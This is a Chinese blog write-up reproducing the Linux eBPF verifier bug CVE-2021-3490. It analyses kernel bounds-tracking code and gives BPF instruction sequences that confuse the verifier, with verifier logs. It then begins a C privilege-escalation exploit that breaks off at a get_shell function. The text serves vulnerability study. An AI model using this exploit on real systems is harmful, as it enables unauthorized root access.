CVE-2021-3490复现
196082 慢慢好起来

前言

最近为了找工作疯狂复现CVE是真的太难了😭,今天才发现我工位旁边的居然是fmyy爷😭,属于是给跪了。

这次复现的这个CVE是一个关于ebpf的漏洞,如果各位没有相关的基础可以看一下这篇文章CVE-2017-16995,并且这次这个CVE的利用方法和以前做的一道题可以说是一摸一样,所以这次不会详细的介绍利用方法而是更倾向于解释如何构造之类的,具体的利用方法可以去看d3bpf

漏洞分析

有过ebpf的基础都知道在载入一个ebpf程序的时候会对每条指令进行检查,而检查的函数就在do_check中,如果是一个ALU运算的话则会进入check_alu_op进行进一步检查,如果我们的运算方式是and/or/xor一类的则会进入adjust_reg_min_max_vals函数进行进一步的检查,在函数中最后会调用到 adjust_scalar_min_max_vals函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
case BPF_SUB:
scalar32_min_max_sub(dst_reg, &src_reg);
scalar_min_max_sub(dst_reg, &src_reg);
dst_reg->var_off = tnum_sub(dst_reg->var_off, src_reg.var_off);
break;
case BPF_MUL:
dst_reg->var_off = tnum_mul(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_mul(dst_reg, &src_reg);
scalar_min_max_mul(dst_reg, &src_reg);
break;
case BPF_AND:
dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_and(dst_reg, &src_reg);
scalar_min_max_and(dst_reg, &src_reg);
break;
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
break;
case BPF_XOR:
dst_reg->var_off = tnum_xor(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_xor(dst_reg, &src_reg);
scalar_min_max_xor(dst_reg, &src_reg);
break;
}

而在这个函数中会根据opcode的不同而进入不同的分支,以and为例,其会调用scalar32_min_max_andscalar_min_max_and计算32位以及64位的边界值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;

/* Assuming scalar64_min_max_and will be called so its safe
* to skip updating register for known 32-bit case.
*/
if (src_known && dst_known)
return;

/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
*/
dst_reg->u32_min_value = var32_off.value;
dst_reg->u32_max_value = min(dst_reg->u32_max_value, umax_val);
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ANDing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ANDing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->u32_min_value;
dst_reg->s32_max_value = dst_reg->u32_max_value;
}
}

首先tnum_subreg_is_const函数得到的是当前寄存器的低32位值是否是known的,根据函数的流程如果两个寄存器的低32位都为known则直接return。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umax_val = src_reg->umax_value;

if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}

/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
*/
dst_reg->umin_value = dst_reg->var_off.value;
dst_reg->umax_value = min(dst_reg->umax_value, umax_val);
if (dst_reg->smin_value < 0 || smin_val < 0) {
/* Lose signed bounds when ANDing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
/* ANDing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->smin_value = dst_reg->umin_value;
dst_reg->smax_value = dst_reg->umax_value;
}
/* We may learn something more from the var_off */
__update_reg_bounds(dst_reg);
}

接着观察这个函数,首先则是判断了64位是否为known

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umax_val = src_reg->umax_value;

if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}

/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
*/
dst_reg->umin_value = dst_reg->var_off.value;
dst_reg->umax_value = min(dst_reg->umax_value, umax_val);
if (dst_reg->smin_value < 0 || smin_val < 0) {
/* Lose signed bounds when ANDing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
/* ANDing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->smin_value = dst_reg->umin_value;
dst_reg->smax_value = dst_reg->umax_value;
}
/* We may learn something more from the var_off */
__update_reg_bounds(dst_reg);
}

如果两个寄存器都是known的状态的话,那么就直接会将imm赋值给寄存器内的多个成员。如果是这样运行的话,那么是正常的运行的。不过可以看到的是这个scalar32_min_max_and函数中取known的函数使用的是tnum_subreg_is_const,然而这个函数只会验证低32位的mask值,如果此时存在以下两个寄存器会是这样的效果。R1={.value=0x1, .mask=0xffffffff00000000}R2={.value=0x100000002, .mask=0x0}如果两个寄存器进行and运算的话,那么结果就为R1={.value=0x0, .mask=0x100000000}。此时在scalar32_min_max_and函数中是会直接return的,随后立马进入scalar_min_max_and函数中,并且因为dst_known = 0导致不会进入if语句,进入下面的流程。最终会进入到scalar32_min_max_and中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);

/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}

static void __update_reg64_bounds(struct bpf_reg_state *reg)
{
/* min signed is max(sign bit) | min(other bits) */
reg->smin_value = max_t(s64, reg->smin_value,
reg->var_off.value | (reg->var_off.mask & S64_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->smax_value = min_t(s64, reg->smax_value,
reg->var_off.value | (reg->var_off.mask & S64_MAX));
reg->umin_value = max(reg->umin_value, reg->var_off.value);
reg->umax_value = min(reg->umax_value,
reg->var_off.value | reg->var_off.mask);
}

static void __update_reg_bounds(struct bpf_reg_state *reg)
{
__update_reg32_bounds(reg);
__update_reg64_bounds(reg);
}

可以看到这个函数就是对dst_reg进行了两次更新边界的效果,这里主要关注32位的处理。首先将有符号的最小值赋值为有符号的最小值和真实值中的最大值,然后就是将有符号的最大值赋值为有符号的最大值和真实值中最小值。后面无符号和上述类似。

依旧按照上面的例子来看,因为在scalar32_min_max_and函数中并没有对32位的边界值做任何初始化所以最终的效果为最小边界值为1,最大边界值为0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void ___mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const(imm);
reg->smin_value = (s64)imm;
reg->smax_value = (s64)imm;
reg->umin_value = imm;
reg->umax_value = imm;

reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}

/* Mark the unknown part of a register (variable offset or scalar value) as
* known to have the value @imm.
*/
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
/* Clear id, off, and union(map_ptr, range) */
memset(((u8 *)reg) + sizeof(reg->type), 0,
offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
___mark_reg_known(reg, imm);
}
static int adjust_reg_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn)
{
// ... ...
off_reg.type = SCALAR_VALUE;
__mark_reg_known(&off_reg, insn->imm);
src_reg = &off_reg;
if (ptr_reg) /* pointer += K */
return adjust_ptr_min_max_vals(env, insn,
ptr_reg, src_reg);
// ... ...
}

这段代码就是给src_reg进行了初始化,可以看到其有符号无符号最大值最小值都被赋值为了1。

1
2
3
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);

并且在adjust_scalar_min_max_vals函数的末尾会进行如下操作,首先又会执行__update_reg_bounds函数更新一下边界值,计算一下会发现其实结果并不会改变。不过如果此时我们再次构造一个最小边界值为0,最大边界值为1,并且运行时值为0的寄存器,再让两个寄存器相加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s32 smin_val = src_reg->s32_min_value;
s32 smax_val = src_reg->s32_max_value;
u32 umin_val = src_reg->u32_min_value;
u32 umax_val = src_reg->u32_max_value;

if (signed_add32_overflows(dst_reg->s32_min_value, smin_val) ||
signed_add32_overflows(dst_reg->s32_max_value, smax_val)) {
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
dst_reg->s32_min_value += smin_val;
dst_reg->s32_max_value += smax_val;
}
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) {
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
} else {
dst_reg->u32_min_value += umin_val;
dst_reg->u32_max_value += umax_val;
}
}

则会进入这样一个函数中,计算一下便会发现不会出现overflow的情况,所以走的都是else,那么在相加之后dst_reg的最大边界值和最小边界值都为1了。此时回到adjust_scalar_min_max_vals函数时又会调用__reg_bound_offset函数,然而经过计算可以得到的是他会将寄存器的值改为1,那么此时我们就算成功获得了一个在运行时寄存器的值为0但是在verifier中认定其值为1的寄存器了。

利用分析

不难看出来目前的情况就很类似d3bpf了,不过稍有不同的是这里运行时和verifier中的值和题目中的正好相反,不过想要构造成一摸一样的也是很简单的,(reg + 1) & 1即可构造出一摸一样的情况的了。

首先通过上述办法构造出最小边界值为1,最大边界值为0的寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define attack(map_fd)                                                       \
BPF_LD_MAP_FD(BPF_REG_1, map_fd), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), \
BPF_MOV64_IMM(BPF_REG_9, 0xffffffff), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_9, 32), \
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_9), \
BPF_MOV64_IMM(BPF_REG_7, 0x1), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_7, 32), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 2), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), \
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_7)
1
2
19: (5f) r6 &= r7
20: R0_w=invP0 R6_w=invP(id=0,umax_value=4294967296,var_off=(0x0; 0x100000000),s32_min_value=1,s32_max_value=0,u32_min_value=1,u32_max_value=0) R7_w=invP4294967298 R8_w=map_value(id=0,off=0,ks=4,vs=5376,imm=0) R9_w=invP-4294967296m

最终根据前面的理论可以得到一下内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define attack(map_fd)                                                       \
BPF_LD_MAP_FD(BPF_REG_1, map_fd), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), \
BPF_MOV64_IMM(BPF_REG_9, 0xffffffff), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_9, 32), \
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_9), \
BPF_MOV64_IMM(BPF_REG_7, 0x1), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_7, 32), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 2), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), \
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_7), \
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0), \
BPF_JMP32_IMM(BPF_JLE, BPF_REG_3, 1, 2), \
BPF_MOV64_IMM(BPF_REG_0, 0x196082), \
BPF_EXIT_INSN(), \
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_3), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), \
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 0x1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
20: (79) r3 = *(u64 *)(r8 +0)
R0_w=invP0 R6_w=invP(id=0,umax_value=4294967296,var_off=(0x0; 0x100000000),s32_min_value=1,s32_max_value=0,u32_min_value=1,u32_max_value=0) R7_w=invP4294967298 R8_w=map_value(id=0,off=0,ks=4,vs=5376,imm=0) R9_w=invP-4294967296 R1=fp0 fp-8=0000
21: R0_w=invP0 R3_w=invP(id=0) R6_w=invP(id=0,umax_value=4294967296,var_off=(0x0; 0x100000000),s32_min_value=1,s32_max_value=0,u32_min_value=1,u32_max_value=0) R7_w=invP4294967298 R8_w=map_value(id=0,off=0,ks=4,vs=5376,imm=0) R9_winvP-4294967296 R10=fp0 fp-8=0000
21: (b6) if w3 <= 0x1 goto pc+2 R0_w=invP0 R3_w=invP(id=0,u32_min_value=2) R6_w=invP(id=0,umax_value=4294967296,var_off=(0x0; 0x100000000),s32_min_value=1,s32_max_value=0,u32_min_value=1,u32_max_value=0) R7_w=invP4294967298 R8_w=map_value(id=0,off=0,ks=4,vs=537,imm=0) R9_w=invP-4294967296 R10=fp0 fp-8=0000
22: R0_w=invP0 R3_w=invP(id=0,u32_min_value=2) R6_w=invP(id=0,umax_value=4294967296,var_off=(0x0; 0x100000000),s32_min_value=1,s32_max_value=0,u32_min_value=1,u32_max_value=0) R7_w=invP4294967298 R8_w=map_value(id=0,off=0,ks=4,vs=376,imm=0) R9_w=invP-4294967296 R10=fp0 fp-8=0000
22: (b7) r0 = 1663106
23: R0_w=invP1663106 R3_w=invP(id=0,u32_min_value=2) R6_w=invP(id=0,umax_value=4294967296,var_off=(0x0; 0x100000000),s32_min_value=1,s32_max_value=0,u32_min_value=1,u32_max_value=0) R7_w=invP4294967298 R8_w=map_value(id=0,off=0,ksm4,vs=5376,imm=0) R9_w=invP-4294967296 R10=fp0 fp-8=0000
23: (95) exit
24: R0=invP0 R3=invP(id=0,smax_value=9223372032559808513,umax_value=18446744069414584321,var_off=(0x0; 0xffffffff00000001),s32_min_value=0,s32_max_value=1,u32_max_value=1)R6=invP(id=0,umax_value=4294967296,var_off=(0x0; 0x10000000),s32_min_value=1,s32_max_value=0,u32_min_value=1,u32_max_value=0) R7=invP4294967298 R8=map_value(id=0,off=0,ks=4,vs=5376,imm=0) R9=invP-4294967296 R10=fp0 fp-8=0000
24: (0f) r6 += r3
25: R0=invP0 R3=invP(id=0,smax_value=9223372032559808513,umax_value=18446744069414584321,var_off=(0x0; 0xffffffff00000001),s32_min_value=0,s32_max_value=1,u32_max_value=1)R6_w=invP(id=0,smax_value=9223372032559808513,umax_value=1446744069414584321,var_off=(0x1; 0xffffffff00000000),s32_min_value=1,s32_max_value=1,u32_min_value=1,u32_max_value=1) R7=invP4294967298 R8=map_value(id=0,off=0,ks=4,vs=5376,imm=0) R9=invP-4294967296 R10=fp0 fp-8=0000
25: (07) r6 += 1
26: R0=invP0 R3=invP(id=0,smax_value=9223372032559808513,umax_value=18446744069414584321,var_off=(0x0; 0xffffffff00000001),s32_min_value=0,s32_max_value=1,u32_max_value=1) R6_w=invP(id=0,smin_value=-9223372036854775806,smax_value=223372032559808514,umin_value=2,umax_value=18446744069414584322,var_off=(0x2; 0xffffffff00000000),s32_min_value=2,s32_max_value=2,u32_max_value=2) R7=invP4294967298 R8=map_value(id=0,off=0,ks=4,vs=5376,imm=0) R9=invP-4294967296 R1
26: (57) r6 &= 1
27: R0=invP0 R3=invP(id=0,smax_value=9223372032559808513,umax_value=18446744069414584321,var_off=(0x0; 0xffffffff00000001),s32_min_value=0,s32_max_value=1,u32_max_value=1) R6_w=invP0 R7=invP4294967298 R8=map_value(id=0,off=0,ks=4,s=5376,imm=0) R9=invP-4294967296 R10=fp0 fp-8=0000
27: (95) exit

这里稍微提一嘴就是这里是如何使R3达到高32位为unknown,低32为known的效果,其实也很容易想明白,这里进行了unsigned的小于等于的判断,所以可以确定低32位的值,不过因为是<= 1所以最后一位也是无法确定的,所以最终.mask = 0xffffffff00000001,当然直接AND 0xffffffff00000001应该也是可以的。

此时因为通过边界值修复了R6寄存器的var_off为1,但是运行时依旧为0所以此时只需要将R6 + 1随后AND 1那么在verifier是就会显示R6为0了,至此得到了一个运行时为1,verifier为0的寄存器了。

综上,可得exp

具体利用方法和d3bpf一致,这里不再赘述,有需要可以去看 https://cv196082.gitee.io/2023/01/06/d3bpf/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>
#include <linux/bpf_common.h>
#include <sys/types.h>
#include <linux/bpf.h>

#ifndef _BPF_DEFS_H_
#define _BPF_DEFS_H_

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn){ \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM})

#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn){ \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32)(IMM)}), \
((struct bpf_insn){ \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64)(IMM)) >> 32})

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn){ \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn){ \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0})

/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM})

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM})

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

/* Program exit */

#define BPF_EXIT_INSN() \
((struct bpf_insn){ \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0})

/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

// varies from userspace bpf_map_info definition so need to redefine
struct bpf_map_info_kernel
{
__u32 type;
__u32 id;
__u32 key_size;
__u32 value_size;
__u32 max_entries;
__u32 map_flags;
char name[BPF_OBJ_NAME_LEN];
__u32 ifindex;
__u32 btf_vmlinux_value_type_id;
__u64 netns_dev;
__u64 netns_ino;
__u32 btf_id;
__u32 btf_key_type_id;
__u32 btf_value_type_id;
} __attribute__((aligned(8)));

#endif

int bpf(int cmd, union bpf_attr *attrs)
{
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int create_map(union bpf_attr *map_attrs)
{
return bpf(BPF_MAP_CREATE, map_attrs);
}

int update_map_element(int fd, uint64_t key, void *value, uint64_t flags)
{
union bpf_attr attr = {};
attr.map_fd = fd;
attr.key = (uint64_t)&key;
attr.value = (uint64_t)value;
attr.flags = flags;
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

int lookup_map_element(int fd, uint64_t key, void *value)
{
union bpf_attr attr = {};
attr.map_fd = fd;
attr.key = (uint64_t)&key;
attr.value = (uint64_t)value;
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

int obj_get_info_by_fd(union bpf_attr *attrs)
{
return bpf(BPF_OBJ_GET_INFO_BY_FD, attrs);
}

int map_get_next_key(union bpf_attr *attrs)
{
return bpf(BPF_MAP_GET_NEXT_KEY, attrs);
}

int run_bpf_prog(struct bpf_insn *insn, uint32_t cnt, int log_level, int *prog_fd_out)
{
int ret = -1;
int prog_fd = -1;
char verifier_log_buff[0x200000] = {0};
int socks[2] = {0};
union bpf_attr prog_attrs =
{
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = cnt,
.insns = (uint64_t)insn,
.license = (uint64_t) "",
.log_level = log_level,
.log_size = sizeof(verifier_log_buff),
.log_buf = (uint64_t)verifier_log_buff};

if (NULL != prog_fd_out)
prog_fd = *prog_fd_out;

if (0 >= prog_fd)
prog_fd = bpf(BPF_PROG_LOAD, &prog_attrs);

if (0 > prog_fd)
{
puts(verifier_log_buff);
goto done;
}

if (0 != socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
{
printf("dzhsb\n");
goto done;
}

if (0 != setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(int)))
goto done;

if (0x7 != write(socks[1], "zzzzzzz", 7))
goto done;
if (log_level == 3)
{
// char *each_line_log = strtok(verifier_log_buff, "\n");
// printf("%s\n", each_line_log);
// each_line_log = strtok(NULL, "\n");
// while (each_line_log)
// {
// int len = strlen(each_line_log);
// if (len > 231)
// {
// printf("%s\n", each_line_log);
// printf("%s\n", (each_line_log + 231));
// each_line_log = strtok(NULL, "\n");
// continue;
// }
// printf("%s\n", each_line_log);
// each_line_log = strtok(NULL, "\n");
// }
puts(verifier_log_buff);
}

if (NULL != prog_fd_out)
*prog_fd_out = prog_fd;

else
close(prog_fd);

ret = 0;

done:
close(socks[0]);
close(socks[1]);
return ret;
}

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void err_exit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void get_shell()
{
if (getuid())
{
